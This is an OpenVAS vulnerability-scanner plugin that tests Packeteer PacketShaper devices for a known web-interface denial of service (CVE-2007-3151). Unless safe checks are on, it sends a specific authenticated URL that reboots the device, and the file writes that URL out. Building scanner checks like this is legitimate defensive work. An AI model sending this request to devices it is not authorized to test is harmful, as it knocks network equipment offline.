Packeteer PacketShaper Web Denial of Service

# OpenVAS Vulnerability Test
# $Id: packeteer_packetshaper_web_dos.nasl 7293 2017-09-27 08:49:48Z cfischer $
# Description: Packeteer PacketShaper Web Denial of Service
#
# Authors:
# nnposter
#
# Copyright:
# Copyright (C) 2006-2007 nnposter
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_solution = "Restrict network access to the device management interfaces.

CVSS Base Score : 5.0 (AV:N/AC:L/Au:N/C:N/I:N/A:P)";

tag_summary = "The remote host is affected by a denial of service vulnerability. 

Description :

Packeteer PacketShaper is susceptible to a denial of service
vulnerability in the web management interface.  Requesting a specific
URL will cause the device to reboot.  The user must first log in but
even read-only access is sufficient.";


if (description)
    {
    script_id(80030);
    script_version("$Revision: 7293 $");
    script_tag(name:"last_modification", value:"$Date: 2017-09-27 10:49:48 +0200 (Wed, 27 Sep 2017) $");
    script_tag(name:"creation_date", value:"2008-10-24 20:15:31 +0200 (Fri, 24 Oct 2008)");
    script_tag(name:"cvss_base", value:"5.0");
    script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");

    script_cve_id("CVE-2007-3151");
    script_bugtraq_id(24388);
    script_xref(name:"OSVDB", value:"37230");

    name="Packeteer PacketShaper Web Denial of Service";
    script_name(name);

    summary="Tests for Packeteer PacketShaper web management interface DoS";

    family="Web application abuses";
    script_family(family);

    script_category(ACT_MIXED_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");

    script_copyright("This script is Copyright (c) 2006-2007 nnposter");
    script_dependencies("packeteer_web_version.nasl");
    script_require_ports("Services/www",80);
    script_mandatory_keys("bluecoat_packetshaper/installed");
    script_tag(name : "summary" , value : tag_summary);
    script_tag(name : "solution" , value : tag_solution);
    script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/470835/30/0/threaded");
    exit(0);
    }

# Notes:
# - Does not work with http_keepalive_send_recv() for some reason.
#   Resorting to http_send_recv()


include("http_func.inc");
include("misc_func.inc");
#include("snmp_func.inc"); # get_version_snmp() is commented out below...

if (!get_kb_item("bluecoat_packetshaper/installed")) exit(0);


function set_cookie (data,cookie)
{
local_var EOL,req;
EOL='\r\n';
req=ereg_replace(string:data,pattern:EOL+'Cookie:[^\r\n]+',replace:"");
req=ereg_replace(string:req,pattern:EOL+EOL,replace:EOL+cookie+EOL);
return req;
}


function get_version_snmp ()
{
local_var sys,match,ver;
sys=get_snmp_sysdesc(port:161);
if (!sys) return;
match=eregmatch(pattern:"^Packeteer PacketShaper ([A-Za-z0-9.]+)",string:sys);
ver=match[1];
if (!ver) return;
return ver;
}


port=get_http_port(default:80);
product=get_kb_item("www/"+port+"/packeteer");
if (!get_tcp_port_state(port) || product!="PacketShaper") exit(0);


if (safe_checks())
    {
    KNOWN_BROKEN_VERSION="7.5.1g1";
    version=get_kb_item("www/"+port+"/packeteer/version");
#if (!version) version=get_version_snmp();
    if (version && version =~ "^([0-6]\.|7\.([0-4]\.|5\.(0|1([a-f]|g0))))")
        {
        report = string(
          "The vulnerability has not been tested. The assessment is based\n",
          "solely on the device software version, which is ",version,"."
        );
        security_message(port:port,data:report);
        }
    exit(0);
    }

cookie=get_kb_item("/tmp/http/auth/"+port);
if (!cookie) exit(0);

if (http_is_dead(port:port)) exit(0);
req=http_get(item:"/rpttop.htm?OP.MEAS.DATAQUERY=&MEAS.TYPE=",port:port);
resp=http_send_recv(port:port,data:set_cookie(data:req,cookie:cookie));
if (!http_is_dead(port:port)) exit(0);

security_message(port);